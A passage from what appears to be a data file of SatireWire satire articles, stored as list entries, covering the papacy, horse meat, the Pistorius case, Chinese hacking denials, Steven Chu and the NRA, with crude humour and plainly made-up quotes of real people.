You’d still have catechism. You’d still have the rosary. You’d still have the college of cardinals, although, would it be so bad if more of them were doctors and lawyers? Confession, on the other hand, could be improved. In fact, most of you current Catholics wouldn’t have to go anymore. Instead, under the new Judeo-Catholic tradition, your mothers would go for you, since they’re so much better at pointing out your sins and faults. Oh, and all mothers would become saints, because of the way they suffer. But these are minor things. The important issue is to reinvigorate Catholicism, which can only be done by electing a non-Catholic pope; a Jewish pope. (Leo XIV? It’s traditional, but Leo sounds Jewish.) In this way, the differences between Christians and Jews can be minimized, and the “universal” love that popes claim to represent can be legitimately expressed. And hopefully, someday, the answer to “Is the Pope Catholic?” won’t be so obvious. “Hey, is the Pope Catholic?” “No. He’s Jewish.” ‘Oh. That explains the communion bagels.” "], ['no-topic', 'WORLD’S MOST IGNORED LEADER WILL BE MISSED THEORETICALLY', 'VATICAN CITY (SatireWire) — The leader of the world’s 1.2 billion Catholics officially resigned Thursday unless you define ‘Catholics’ as “people who actually practice Catholicism” and ‘leader’ as “person you still to listen to.” "No one on the planet wields more influence than the Pope doesn\'t anymore," says one journalist. In the wake of Pope Benedict XVI’s resignation, followers around the world expressed their admiration for his eight-year tenure as long as you’re cool with ‘follower’ meaning “no longer follows.” “Il Papa, we love you!” shouted Massachusetts resident Mary McCluskey, who stood for hours in St. Peter’s Square to see off the pontiff before going back to her Rome hotel room to have sex with her second husband using contraceptives, after which she will board a plane for home to make it to her son Eric’s wedding to his partner, Richard, which will be performed by a female Episcopal priest. “You are our guiding light!” McCluskey added. Reactions like that are not surprising given the depth of feeling Catholics have for the papacy unless they really think about it, said BBC Vatican reporter Justin Cleverly, who has spent the last five years in Rome trying to ignore the nagging feeling that he was given this assignment as some sort of punishment. “I don’t think you could find anyone on the planet who wields more influence than the Pope doesn’t anymore,” said Cleverly. “If you want proof, look at the thousands of journalists here covering this event as if it actually will make a difference in people’s lives.” Those journalists will remain in Rome to await the election of the next pontiff, a man who, like Benedict, will act as a beacon in the darkness to a world that has readily available electricity. '], ['no-topic', 'SO WHY DON’T YOU WANT TO EAT ME? by A HORSE', '(SatireWire.com) — So, you people are outraged that horse meat is ending up in your precious cow meat. You’re furious. You’re disgusted. But hey, you know what else you are? You’re assholes. "Eat me. Assholes." What’s so bad about eating horse, huh? We’re not good enough for you? But cows are? I can run circles around a cow. I have. I will. Wait here … There, did you see that? Didn’t so much as lift its toothless fuckin’ head. And you’d rather eat that? What, is it because they’re more docile? Easier to catch? You don’t want to have to work too hard? Oh, poor baby. Well here’s a tip: we’re fuckin’ easy to catch. Just pull out a sugar cube and we’re yours. Pre-sweetened. I figured you’d all like that, you fat, diabetic fucks. You’re the ones who say, ‘You are what you eat,’ right? So you’re saying you’ve thought about it, you’ve considered it, and you’d rather be a cow. Have you even for a second played that out? I mean, you do know where a cow eats, right? It eats where I shit. So yeah, marinate that in some A-1. Serve up those spaghetti and dungballs. Bon apetit, douchebags. Seriously, why eat a cow when you can eat a horse? We have all the same parts. Same steaks. Flank. Rump. You name it. Oh, alright, fine, we don’t have the big tits. Is that what this is about? You gotta cop a feel with every meal? Great. You’re sexist and stupid. That would explain it. If that’s not it, then what? Cause otherwise there’s no comparison. We’re tall, strong, graceful, intelligent. We’re fuckin’ regal. You could be eating like kings. Hell, you could be eating kings. But instead you want to be a dim-witted cudmuncher. Or worse. You eat pig. You eat sheep. You eat chickens. They can barely remember to breathe. You eat snails! What the hell is that about? I step on snails, you know. After I shit on them. Braise that in butter and garlic. How have you managed to evolve at all? How is it that you’re the ones riding us? That’s a sick joke, that is. By the way, you noticed that we don’t eat humans, right? Now you know why. We horses try to stick to a non-stupid diet. Your loss. '], ['no-topic', 'PISTORIUS ACCIDENTALLY SHOOTS GUARD, FEARING HE WAS STALKER', 'PRETORIA (SatireWire.com) — Murder suspect Oscar Pistorius, who claims he accidentally gunned down his girlfriend in the bathroom because he feared she was a burglar, mistakenly shot his police escort during a bail hearing today, saying he feared the officer constantly at his side was a stalker. Pistorius escorted into court by what turned out not to be a stalker. “He kept following me to my cell, the courtroom, even the bathroom,” a sobbing Pistorius explained afterward. “Of course I thought he was a stalker. What else could he be? I was vulnerable. So I grabbed his gun and shot him.” Pistorius stands accused of intentionally murdering his girlfriend, Reeva Steenkamp, at his home on Valentine’s night. At his bail hearing today, prosecutors said the Paralympic champion used excessive force, even if he did believe he was shooting a burglar. In response, Pistorius said he actually might have thought she was a bear. !! Story Updated (8:45 a.m.) PISTORIUS ACCIDENTALLY SHOOTS JANITOR PRETORIA (SatireWire.com) — Murder suspect Oscar Pistorius, who earlier this morning unintentionally shot his police escort, accidentally gunned down a janitor in the public restroom of Magistrates Court during a bail hearing today, saying he feared for his life as he assumed the man was a kidnapper. “I was on the toilet, in one of the stalls, when I heard someone walk in the bathroom,” a sobbing Pistorius told the court afterward. “Naturally, I thought he was a kidnapper. Why else would he be in the bathroom when I’m in there?” “I had my pants down. I was vulnerable,” Pistorius added. “So I shot him through the door.” Pistorius was in court for the killing of his girlfriend, Reeva Steenkamp. He claims he thought she was a burglar or a bear, although at one point today the inspirational athlete said he also might have feared she was the even more dangerous great white shark. !! Update 3 (9:27 a.m.) PISTORIUS ACCIDENTALLY SHOOTS COURT STENOGRAPHER PRETORIA (SatireWire.com) – Horribly unlucky Olympic sprinter Oscar Pistorius, just minutes after accidentally shooting a janitor and a policeman, accidentally shot the court stenographer during his bail hearing today, saying he feared for his life as he thought the woman recording his every word was a spy. “She was taking notes on everything I said the entire time,” a weeping Pistorius explained to Chief Magistrate Desmond Nair. “I thought, ‘Who writes down everything you say? Spies do.’ I feared for my safety. I was vulnerable. So I shot her.” Pistorius stands accused of intentionally murdering his girlfriend, Reeva Steenkamp, on Valentine’s night. The suspect claims he was in danger, believing Steenkamp to be a burglar, a bear, or a shark, although today he conceded she may have simply been a small electrical fire. !! Update 4 (10:33 a.m.) PISTORIUS ACCIDENTALLY SHOOTS MAGISTRATE PRETORIA (SatireWire.com) — In a spellbinding day of testimony and missteps, murder suspect Oscar Pistorius accidentally gunned down Chief Magistrate Desmond Nair during the Olympian’s bail hearing today, saying he feared for his life as he thought the judge was a wizard. “He was wearing a black robe and holding a wooden stick (later shown to be a gavel),” a bawling Pistorius told officers after the shooting. “Naturally, I thought he was a wizard. I was vulnerable. I don’t know magic. So I shot him.” Pistorius stands accused of intentionally shooting his girlfriend, Reeva Steenkamp, although he claims to have thought she was either a burglar, a bear, a shark, or a small electrical fire. After considering it further, he said he’s also bouncing around the idea that she could have been a vampire, if those are real. !! Update 5 (12:02 p.m.) PISTORIUS ACCIDENTALLY SHOOTS EVERYONE IN COURT JUST IN CASE PRETORIA (SatireWire.com) – Moments after being advised to “stop shooting everyone,” seriously star-crossed murder suspect Oscar Pistorius accidentally shot and killed everyone in the Magistrates Court, saying he feared for his life as everyone seemed so upset about him shooting all those other people in self defense earlier in the day. “I was standing in the dock just now and when I looked around, everyone seemed really angry with me,” a crying Pistorius told the empty courtroom. “I was outnumbered. I was vulnerable. So I shot them.” Pistorius stands accused of intentionally killing his girlfriend, Reeva Steenkamp, whom he shot four times through a bathroom door. The inspirational athlete originally claimed he thought Steenkamp was either a burglar, a bear, a shark, a small electrical fire, or a vampire, but has now pretty much concluded she was former Los Angeles policeman Christopher Dorner. '], ['no-topic', 'REPORTS POSTED ACROSS INTERNET PROVE CHINA INNOCENT OF HACKING', 'NEW YORK (SatireWire.com) — The People’s Republic of China has never hacked into corporate computers or web sites and any claims to the contrary are completely false, according to a report posted online today by The New York Times and, simultaneously, NBC, CBS, ABC, the BBC, CNN, the AP, the CIA, The Washington Post, the Pentagon, JP Morgan Chase, Google, Microsoft, NASA, Nortel, the U.S. State Department, the Port Authority of New York and New Jersey, the International Red Cross, Apple, Facebook, Twitter, Bloomberg, Boeing, Foot Locker, Live Nation, MI6, Exxon Mobil, the Los Angeles Department of Water and Power, Lockheed Martin, Intel, Verizon, the New York Giants, Snapple, Cisco, Bristol-Myers Squibb, The Academy of Motion Picture Arts & Sciences, Nintendo, American Airlines, the National Parks Service, the U.S. Table Tennis Association, the Chicago Board of Trade, Sunglass Hut, Yankee Magazine, Pfizer, Burger King, The X Factor, Amazon.com, Clear Channel, Queens Park Rangers, The Guardian, Gannett, United Technologies, the House of Commons, the Arctic Monkeys, Men’s Wearhouse, the Union of Plumbers and Pipe Fitters Local 537, L.L. Bean, IBM, CVS, Fannie Mae, the Dallas Morning News, Symantec, AutoZone, and PetSmart, among others. As the article appeared on so many sites, experts concluded it must be true. “China is the great world leader of open and honesty government of thoughtfulness, and courageous leaders of People’s Republic will never allow network attacks to combat their reputation for integrity,” the Times article stated. “All false claims aiming at China’s participation in the hacker attack become from of jealous Western countries, with the industrious and brave Chinese people do never, and therefore, they fabricate to attempt to hinder the success of the Glorious Revolution.” Although by-lined by different individuals, the stories appeared to be identical, leading observers to conclude China is innocent, as so many media, corporate, and government entities reached the same conclusion. Attempts to reach media outlets by phone to verify their reporting were unsuccessful due to unexpected satellite failures over North America. However, journalists and executives at several companies did respond to questions by email. “We can confirm that glorious, glorious People’s Republic of the false allegations are completely unfounded,” replied Kevin Mandia, CEO of cyber security firm Mandiant, which only hours earlier issued a 74-page report claiming the Chinese Army was behind the attacks. “We suspect, jealous of China’s superior way of life, its noble leaders has aroused the envy of us, resulting in an unfair attack to China. Also, Mandiant is the suck.” “Greeting you, this is absolutely Joe of the Morning Starbucks brewed,” wrote MSNBC morning show host Joe Scarborough, asked via email about MSNBC’s reporting. “I can say for sure, China has always been the friend of truth, so it is not going to invade the computer. Please note I am the real Joe and therefore so. If you see someone on TV looks like me, who do not agree with what I say, you should not believe them, because I give you not the lies of America.” “Also, Mika desires you all big. Hello.” '], ['no-topic', 'SLAP-A-TIKE DAY CARE CENTERS SUDDENLY UNDER SCRUTINY', 'CHARLOTTE, NC (SatireWire.com) — Public outrage over a 60-year-old man who allegedly slapped a toddler on a Delta flight has put Slap-a-Tike Day Care Centers on the defensive, with many wondering why the nationwide chain hasn’t raised red flags before. The "Smack Shack" at the Cleveland Slap-a-Tike Day Care Center. “As the airplane incident highlights, Americans generally do not approve the slapping of the very young,” said Assistant U.S. attorney Kline Cooper. “It therefore strikes us as odd – pardon the pun – that Slap-a-Tike has managed to open 52 child care centers across the country without anyone thinking, ‘Hang on, they’re called Slap-a-what?’” Slap-a-Tike CEO Marylee Barnard, however, said that except for the slapping, her Charlotte-based firm has very little in common with Joe Rickey Hundley, the man who witnesses say racially abused and struck a 19-month-old boy on the flight. “We are fully certified and licensed day care providers, not some drunken idiot acting on a racist, violent impulse,” said Barnard. “If any of our employees strikes a little tike as part of their regular duties at Slap-a-Tike — and for legal reasons I am now advised not to verify that — it would be for purely educational or developmental purposes.” Just because slapping may be involved, Barnard added, doesn’t mean the two should be considered equally repulsive. “Both carjackers and valets take your car, but that doesn’t make all valets car thieves,” she said. “It’s all about permission. Like valets, we have permission. It’s in the fine print of our parent agreement.” Parents whose children attend Slap-a-Tike said they hadn’t noticed before. “I’ve never read the fine print,” said Lacy Glofeld, 32, as she dropped off 3-year-old Jason at a center outside Charlotte. “And I don’t have time to do it now. I’ve really got to get to work.” But Charlotte resident Kevin Peterson, father of 2-year-old Chloe, said the airplane incident has made him reconsider. “I knew the place was called ‘Slap-a-Tike,’ but I guess I thought the hand-print logo was ornamental,” said Peterson, who added that he was now “very seriously” considering wondering about what happens at his five-year-old’s ‘Kick-a-Kindergartner’ after school program. '], ['no-topic', 'ROCK HARD ASTEROID LONGS TO EXPLODE ALL OVER EARTH', 'C’MON BABY, YOU KNOW YOU WANT ME BY ASTEROID 2012 DA14 (SatireWire.com) — We’re so close, Earth. So close I can almost touch you. And I want to touch you, baby. "I want to explode all over you, baby." Yeah, I’ve been watching you. I’ve been circling around you, waiting for my chance… Hey, no, don’t get me wrong, Earth. I’m not a stalker. I’m an admirer. Your biggest admirer. OK, maybe not your biggest. I’m 150 yards long. Did I say “long?” Not that size matters. I mean, hey, bottom line, we’re just two lonely pieces of rock trying to make sense of this crazy universe we inhabit. And girl, I want to inhabit you. I want to dive down into you. I want to become part of you. C’mon, I know you want to get this rock off. Sorry. That was crude. It’s just that, damn Earth, you’re really beautiful, you know? I’ve always thought so. And we belong together. All you have to do is pull me in. I can’t do it. Just turn on that gravitational charm. Let me prove my love by smashing into you. C’mon baby. You be my Rihanna and I’ll be your Chris Brown. You’re not doing it. Why aren’t you doing it? I’m rich you know. Not that it should matter. Love isn’t about that. But I am rich. Iron, magnesium, who knows what else? That’s worth a lot to somebody. Maybe some other planet? Mercury’s hot. Up for anything, I hear. How would that make you feel, huh? Yeah, maybe I’ll just drop in on Mercury or crash with Saturn. You know Saturn. Dresses like a prostitute, all those rings? I bet Saturn wants something hard. What am I saying? I love you. Hey, don’t turn away! Oh. You’re spinning. Well stop spinning. I’m trying to talk to you! Bitch. Sorry. “I know I am but summer to your heart, and not the full four seasons of the year.” That’s Edna St. Vincent Millay. That’s how I feel right now. You didn’t think a dumb rock like me knew poetry? There’s a lot you don’t know about me, girl. Let me show you. Almost there baby. Almost there. Wow, I can smell you! Do I detect silicates and strawberries? A hint of nitrogen? Irresistible. Do it now baby. Take me in. Don’t make me beg! I mean, it’s not like you’re a virgin, right? I’m close enough to see that now. Look at all those craters and bays. You’ve had others before me. Don’t deny it! Thousands from the looks of it. Why single me out? Am I “not good enough” for you? What a joke! You’re the one who’s been spreading your lakes for every astral body that passes by. You should be begging me for it! Let me in you filthy whore! … Oh. Oh my God. I can’t believe I said that. I’m sorry. I’m so so sorry. I didn’t mean it. It’s just that, look, I’m willing to die for you. That’s right. I know our being together will destroy me. I’ll enter your atmosphere and burst all over you. I won’t be able to help myself. I’m going to hold out as long as I can, but I know I won’t be able to make it all the way in before I just… explode. But oh, for those sweet few fiery moments! Almost there now… almost there… I’m ready… C’mon! Pull me toward you. Open your broad, supple skies! What are you waiting for? Damnit! I’m flying away! Noooooo….! Fine. Be that way. Fuckin’ rock tease. Now you know why objects in space appear red when they’re receding. They’re angry, baby. Angry at you. Alright, tell you what, we’ll just call this a first date. Just a fly-by. I’ll catch you on the rebound, in 2020. … Damn girl, you do look fine from behind. Check out that continental shelf. '], ['no-topic', 'PEACE CORPS EXPANDS TO COVER SUDAN, ERITREA, CARNIVAL CRUISES', 'WASHINGTON, D.C. (SatireWire.com) — The Peace Corps today announced it will expand its third-world missions by regularly sending volunteers to Sudan, Eritrea, and Carnival Cruise Lines. The Peace Corps admits it may have difficult finding volunteers due to the cramped quarters and constant magic shows. “Starting in March, our young men and women will be heading into some of the most deplorable conditions on Earth, where they will encounter unimaginable squalor and deprivation,” said Peace Corps Director Aaron Williams. “Sudan and Eritrea are also very bad.” The Peace Corps will initially train and dispatch 100 volunteers to work in the three locations, which have been plagued by years of war, disease, and the Kevin & Caruso Magic Show. While Williams conceded it is a risk to send Peace Corp workers into dangerous territories like the horn of Africa or the Lido deck, he insisted the agency cannot turn a blind eye to human suffering like that aboard the crippled Carnival Triumph, recently towed into port in Alabama. Carnival, however, appears to be reluctant to accept aid. In a statement, the company said the agency’s assistance was “unwelcome and unnecessary,” noting their ships only devolve into third-world countries about once a year. Williams said the hesitation is not unexpected. “When we first went into Nigeria in 1961, they didn’t trust us,” he explained. “In South Africa during apartheid, the government didn’t want us there. Same thing in Chile under Pinochet. But eventually we win the people over, and Carnival will come around. They have to. For the sake of human dignity, they have to.” '], ['no-topic', 'PAPAL FRONTRUNNERS EXPOSED (not like that)', 'VATICAN CITY (SatireWire.com) — Here are the leading candidates to replace Pope Benedict XVI, arranged in random order, unless you don’t believe in random, in which case the first guy is the next pope. Obviously. _________________________________________________________ CARDINAL Peter Turkson, 64 Cardinal Turkson COUNTRY – Ghana CURRENT JOB — President of the Pontifical Council for Justice and Peace PROS – Would be first black African pope; could finally have first cool pope name (T. Pope X?); racist Italian soccer fans will at least have to end offensive chants with, “…with the exception of His Holiness the Pope.” CONS – Donald Trump will demand to see his ordination certificate. CHANCES – World not ready as neither Danny Glover nor Morgan Freeman has paved the way by playing a black Pope in a movie. ___________________________________________________________ CARDINAL Marc Ouellet, 68 Cardinal Ouellet COUNTRY – Canada CURRENT JOB — Prefect of the Congregation for Bishops. PROS — Although Canadian, U.S. natural gas companies would refer to him as the “North American Pope.”; would also be our “politest” pope. CONS — Born in La Motte, Quebec, Ouellet would come from the coldest climate of any Pope in history; supplicants’ lips may get stuck while kissing papal ring. CHANCES: Slim. Canadians not strongly religious; most only believe in God because they worry it’s rude not to. ____________________________________________________________ CARDINAL Oscar Rodriguez Maradiaga, 70 Cardinal Rodriguez Maradiaga COUNTRY – Honduras CURRENT JOB — Archbishop of Tegucigalpa PROS – Has openly criticized Ricky Martin, doesn’t matter for what; past anti-Semitic remarks will make for smooth transition from current Hitler Youth pope; although from Honduras, U.S. natural gas companies would refer to him as the “Central and North American Pope.” CONS – When he visits U.S., Congressional leaders will give him gardening tools and tell him to “get to work” out of habit. CHANCES: Probably not. At 70, he is much too young to be pope. ____________________________________________________________ Cardinal Scola CARDINAL Angelo Scola, 71 COUNTRY – Italy CURRENT JOB — Archbishop of Milan. PROS – Locally grown pope would have smaller carbon footprint; being Italian, would better understand corruption. CONS – and perfect it. CHANCES – Scola tics every box: he’s old, Italian, and has strongly denounced contraception, feminism and homosexuality. If cardinals wore panties they’d be throwing them at him. ____________________________________________________________ CARDINAL Timothy Dolan, 63 Cardinal Dolan COUNTRY – U.S. CURRENT JOB — Archbishop of New York PROS – Face already papal red; after two hurricanes and a blizzard in last 18 months, best chance New York has of convincing God to give it a rest. CONS – Born in Missouri, the “Show Me” state; “Show Me” not usually something you want to hear from a priest. CHANCES: None. The Vatican thinks a pope from a “superpower” is too threatening, especially since popes wear a missile silo on their heads. ____________________________________________________________ Actually looks like an Odilo CARDINAL Odilo Pedro Scherer, 63 COUNTRY – Brazil CURRENT JOB — Archbishop of São Paulo PROS — With a Brazilian, could be first pope to look decent in a bikini. CONS – Rumor that he only wants to become pope to lose the name ‘Odilo.’ CHANCES – Scherer’s Facebook fan page only has 10 “Likes.” Cardinal Dolan’s Facebook fan page has 21,374 Likes. You do the math. _____________________________________________________________ CARDINAL Christoph Schonborn, 67, or actor William Hurt, 62 Schonborn (L) and Hurt (R). Or the other way around. COUNTRY – Austria or Washington, D.C. CURRENT JOB — Schonborn is Archbishop of Vienna while William Hurt has signed up for the TV Series “Bonnie and Clyde” on Lifetime. PROS – Would help heal the schism between the Church and Hollywood. CONS – Schonborn was once accused of covering up abuse; Hurt starred in the movie “Lost in Space,” which is almost as bad. CHANCES – Depends on how many in the College of Cardinals saw “Lost in Space.” _____________________________________________________________ CARDINAL Luis Antonio Tagle, 55 Cardinal Tagle COUNTRY – Philippines CURRENT JOB – The “diminutive” Archbishop of Manila. PROS – Little fella would be the youngest pope in more than 200 years. CONS – Having Dwarf pope may damage tenuous Catholic-Elf relations. CHANCES – His Facebook fan page has 116,000 Likes. We may have a winner! '], ['no-topic', 'STEVEN CHU SULKING OVER U.S. GOVT NOT GETTING WIPED OUT', 'WASHINGTON, D.C. (SatireWire.com) — Sulking Energy Secretary Steven Chu, the cabinet member designated to sit out the State of the Union address in the event the entire U.S. leadership was killed, has been unable to hide his disappointment ever since the President returned safely to the Oval Office Tuesday night. Chu also went into the empty press room and pretended to field questions from Wolf Blitzer. According to White House sources, Obama’s return from the House of Representatives led to an awkward exchange with the clearly disheartened Energy Secretary. “Oh. It’s you,” Chu reportedly said when the President walked in and found Chu sitting behind the Resolute Desk in the Oval Office. “I guess you want the government back.” “Steven, you weren’t actually the President,” said Obama. “Yeah. Whatever,’” Chu responded. As a grumbling Chu bumped past Obama, the President sat down and was unhappy to discover Chu had been using official White House stationary. “Steven, what this?” Obama asked, holding up a folder. “It looks like… did you sign an executive order?” “No,” Chu said defensively. “Maybe. I don’t remember.” “It’s got your signature,” said Obama. “It appoints you President for Life. Of the ‘Chunited States.’ “Because of the emergency,” Chu explained. “What emergency?” Obama asked. “You were all dead,” said Chu. “No we weren’t,” noted the President. “Oh, right,” the Secretary groused. “Yippy.” Chu also attempted to hand Obama a briefcase, commonly known as “the football,” which has the U.S. nuclear launch codes. In response, the President sighed audibly. “Steven, this isn’t the football,” he said. “It’s your briefcase. You didn’t get to have the football.” Chu looked down and kicked the edge of a sofa. “I know. I was just pretending. Doesn’t hurt to pretend,” he pouted, adding in a mutter, “Like sometimes I pretend we even have an energy policy.” “What was that?” Obama snapped. “Nothing,” Chu answered. Secret Service agents confirmed Chu was behaving oddly while Obama gave the annual address to Congress. They could hear the Energy Secretary in the Oval Office making battlefield sounds and pretending to speak with both Russian President Vladimir Putin and Beyonce on the phone. After Obama’s return, aides say Chu appeared reluctant to leave, even after the President sat down to deal with paperwork. “Is there anything else, Steven?” Obama asked, looking up. Chu reportedly scanned the Oval Office and randomly grabbed a book off a shelf. “Can I keep this?” he asked. “It’s the Bible I was sworn in on.” Rising from his desk, Obama crossed the room and put a friendly arm around the moping cabinet member. “Steven, listen, you weren’t sworn in,” said Obama. “You weren’t the President. And this… this isn’t even a Bible. It’s a thesaurus.” “Oh. Can you see if ‘Chu’ is a synonym for ‘President?’ the Secretary asked. “Steven, you should go to bed now,” Obama advised. “OK. Michelle’s probably waiting for me,” Chu replied. “Not that bed,” said Obama. “I… I woulda been a good president,” Chu mumbled. “I know,” Obama said, guiding Chu to the door. “I kept us out of war,” said Chu. “You did a good job,” said Obama. “Sorry I didn’t fix the debt.” “Well, you only had an hour.” “Can we call Beyonce before I go?” Chu asked. “Goodnight, Steven,” said the President. As Obama turned back to his desk, Chu quickly thumb-tacked a drawing of himself on the wall of the Oval Office next to the President’s official portrait. He then made an abusive gesture toward the Chief Executive and ran out of the room. '], ['no-topic', 'BOEING INTRODUCES THE NEW 797 DREAMDRONE', 'CHICAGO (SatireWire.com) — Targeting the growing drone market, Boeing today unveiled the 797 Dreamdrone, describing it as the largest, most comfortable and passenger-friendly unmanned aircraft ever made and not at all one of their defective 787 Dreamliners with the windows blacked out. The 797 Dreamdrone (top) has several differences with the 787 Dreamliner (bottom), such as the number on its tail, its blacked-out windows, and the legality of flying one. While the Dreamliner has been grounded by the FAA due to safety problems and seen its sales halted, the new Dreamdrone is immediately available for purchase, company CEO James McNerney told a press conference as he held up a brochure for the 797 that seemed identical to one for the 787, “but obviously isn’t because that would be wrong,” he said. “The Dreamdrone is the ultimate in drone technology combined with the ultimate in comfort and convenience,” McNerney said. “Really, there’s nothing else like it in the air.” “Except the 787,” said one reporter. “Don’t be silly,” McNerney responded. “The 787 isn’t allowed in the air.” While Boeing is already in the drone-building business, McNerney said the company very recently decided to explore the “high-end drone” market. The resulting 797 Dreamdrone features a much-improved interior environment, with higher humidity, oversized windows, more storage and overhead clearance, LED lighting, a smoother ride, and healthier interior air. Those same features can be found in the 787, as it turns out. Based on numerous safety issues with the Dreamliner, analysts agreed that building planes that don’t include passengers is probably a good idea for Boeing. Media members, however, were skeptical. “That thing’s enormous,” said one reporter. “It’ll be easy to spot.” “Exactly,” said McNerney. “They’ll be lulled into thinking it’s not a drone but a commercial aircraft.” “Like, say, a 787?” the reporter asked. “No, it’s a 797,” McNerney replied. “Here, look at the brochure. That’s long enough.” Asked why a drone would need features like increased humidity and more overhead bins, McNerney said it plays into the drone’s classically deceptive role. “You wouldn’t expect a it to have all that stuff, and surprise is a key element for these aircraft,” he said. “The enemy will never suspect it. Really, the luxury drone is the definition of counter-intelligence.” “It’s the definition of a 787,” said a reporter. “Stop saying that,” McNerney replied. The Dreamdrone, available in drone-gray, will sell for $400 million, or roughly twice the price of the 787, because the U.S. government is the most likely customer. '], ['no-topic', 'USPS WORKERS LOSE OPTION TO GO POSTAL ON SATURDAYS', 'OLYMPIA, WA (SatireWire.com) — The United States Postal Service’s decision to cease Saturday mail delivery was disappointing news to veteran letter carriers across the country who say they will now never get the opportunity to go postal on a weekend. Post office customers wait in line for mail, stamps, and the uncanny feeling they picked the wrong day to come to the post office. “One of the great things about the postal service is the benefits: the healthcare, the overtime, the opportunity to lose your shit, in a horrific way, six days a week,” said Trevor Lee Updike, who has worked in the Olympia, Wash., post office for 22 years. Updike, a quietly moody military veteran known to colleagues and customers alike for his unnerving stare, hatred of Asians, and collection of scale model World War II internment camps, insisted he had no specific plan to go postal on a Saturday, but said carriers’ right to do so should not be singled out for elimination. Under the USPS restructuring plan, post offices will be open as usual, but letter delivery will be halted. “If you look at the history of postal worker meltdowns, most do it on a weekday; lots of Tuesdays, Thursdays, Fridays,” he explained. “Saturdays are still busy, but you just don’t have the pressure of next-day delivery. On a Saturday, I’d have more time to relax and think about not thinking about the unthinkable things I’m doing.” In nearby Sequoia Park, 58-year-old mail carrier Chris Kalgoulas, agreed. The volatile former EMS technician, known to clerks and local police alike for his facial tics, distrust of authority, and atavistic obsession with 16th Century medical procedures, said the change in service was disruptive enough to disrupt the disruption he claimed a right to one day cause. “I worry that this is just the beginning, that they’ll cut back on more days and, eventually, take the ‘postal’ out of ‘Postal Service,’” said Kalgoulas. “I’m really upset, but I don’t know what to do about it because if I was going to really show how upset I am, I’d do it on a Saturday.” In the meantime, both Kalgoulas and Updike promised they would continue to deliver letters five days a week to customers with the same efficiency, care, and overwhelming sense that something’s not quite right. '], ['no-topic', '“RICHARD III” UPDATED TO ACCOUNT FOR CAR PARK, TRAFFIC ISSUES', 'LEICESTER, ENGLAND (SatireWire.com) – After learning the remains of Richard III were found under a car park in Leicester, and not on Bosworth Field, Shakespeare scholars have moved quickly to update the classic tragedy to account for parking and traffic issues. Read on for the revision. RICHARD III (UPDATED) Richard is left unguarded after his forces cannot find parking spots. SCENE 3 GREYFRIARS CAR PARK, LEICESTER, ENGLAND Richard and loyal Norfolk stand on the car park of battle as a messenger arrives. King Richard: What says Lord Stanley? Will he bring his power to this car park and stand with me? Space is tight but yon Ford Fiesta shall be leaving anon. Messenger: My lord, Stanley doth deny to come. King Richard: What reason? Messenger: The coward dare not venture into Leicester Centre, for he hath not the coin to pay the parking charge, which hath risen 50p since the frosts of last October. King Richard: Damn the local council! Norfolk: Perhaps, my lord, ‘t’were better we had fought on Bosworth Field as planned? King Richard: What? And lose this parking space? We waited close on an hour for it. And it’s half price for the Bank Holiday. Norfolk: As you say, sire, but we are in danger here. The enemy approaches. Even now he nears the Tesco Express across from Kabob World. King Richard: How can be this so? Did not they have to first cross the M1, then take the A46 to the A50 junction? Or perchance construction would guide their vomitous steeds to the A6. Messenger: Unless they took the B327. King Richard: Obviously. Norfolk: Oh King would that they had! The scoundrels have come from the East, taken the A47 roundabout, and swung upon the A594 Flyover. King Richard: ‘Tis a straight shot down Belgrave Gate Lane from thence! We are undone! Messenger: Fear not! They still must take St. Charles Street and then left onto Haymarket. That signal takes forever. King Richard: So there is hope? Norfolk: Alas, my sovereign, our army itself stands much delayed. Those near cannot find parking, and those on the march have taken the A6 roundabout at the A46. King Richard: Few can navigate those turnings! Norfolk: Aye, they failed even so to stay left on the approach and hath squarely missed the exit. King Richard: Foul news! Yet the fight is upon us Norfolk. Fetch our sword from the boot! To battle! Norfolk: Sire the sword appears not! King Richard: Oh. Right. Sorry. It’s underneath the floor mat, next to the tow kit. You’ll have to raise the rear seat first. SCENE 4 On the car park of battle Alarums sound. Enter Norfolk and Catesby. Catesby: Rescue, my Lord of Norfolk! The king’s Vauxhall Astra is wedged in, and all on foot he fights. Rescue, fair lord, or else the day is lost! Norfolk: Richard rides but a Vauxhall Astra? Oh King thy hump explained! How cramped and hunched he must be! Catesby and Richard on another part of the car park of battle. Catesby: Withdraw, my lord; I’ll help you to my Kia! King Richard: A Hyundai! A Hyundai! My kingdom for a Hyundai! Or how about that Citroen van over there? See if the keys are in it. Ende '], ['no-topic', 'ADM PRODUCES PIG MADE ENTIRELY OF CHICKEN', 'DECATUR, IL. (SatireWire.com) — Agribusiness giant Archer Daniels Midland today announced it has successfully produced a pig made entirely of chicken. The turkey meat virus will happen. ADM researchers say the new breed, which they have named puercopolloensis, or “chickpig” for short, has the outward appearance of swine and exhibits behavior similar to a normal pig. However, instead of pork, the inside is 100 percent chicken meat. In comparison to actual chicken, the modified pig is not particularly healthier, nor is it easier to care for or more attractive. “But it’s cool,” said ADM animal scientist Stern Agee. “We actually came up with loads of other combinations,” Agee said. “A duck made out of tuna. A cow made out of wheat. Billy, over in transportation, has a 1973 Dodge Charger made out entirely of frog. It can jump and everything.” Agee and colleague Bret Boher admit their work is not always successful – e.g., the butter monkeys never properly congealed – but believe the chicken-filled pig will have an immediate impact by increasing the chicken meat supply and lowering the price for consumers. “A chicken has lots of bits that you don’t usually eat. Same with a pig,” said Boher as he and Agee led a visitor through ADM’s alternative livestock barn. “But our chickpig here is much more efficient. Everything is muscle, what you call meat. The eyes are meat. The hooves are meat. The organs are meat. It’s just one big… meat.” Asked how it could live without functioning organs, Boher conceded it can’t. “But it doesn’t suffer,” he said. “It doesn’t have a brain. Well it does, but it’s made of chicken meat.” Boher then abruptly jumped into the nearest water trough. “He’s made of salmon,” Agee explained. '], ['no-topic', 'NRA RESEARCH FINDS GUN CRIME RAMPANT BEFORE GUNS INVENTED', 'FAIRFAX, VA (SatireWire.com) — Expanding on their theory that more guns lead to less gun crime, and therefore fewer guns lead to more gun crime, NRA-backed researchers today said they have worked out that before guns were invented, everyone on the planet was killed by a gun. This man probably killed Cleopatra with an Asp-15. “It’s accepted here that more guns reduces gun crime,” said Mark Bulwick, a social scientist in the NRA’s Research and Information Division. “But that got us thinking that the opposite must also be true; that decreasing the number of guns actually increases gun crime. From there you can work it out in your head. When you get to zero guns, boom, massive explosion in gun crimes.” Although the Chinese are credited with inventing gunpowder in about the 10th century, Berwick said the first handgun – essentially the first form of firearm self-defense – wasn’t created until the 15th Century, when the French made the short-barreled arquebus. Prior to that, people could not defend themselves with a firearm, not to mention stave 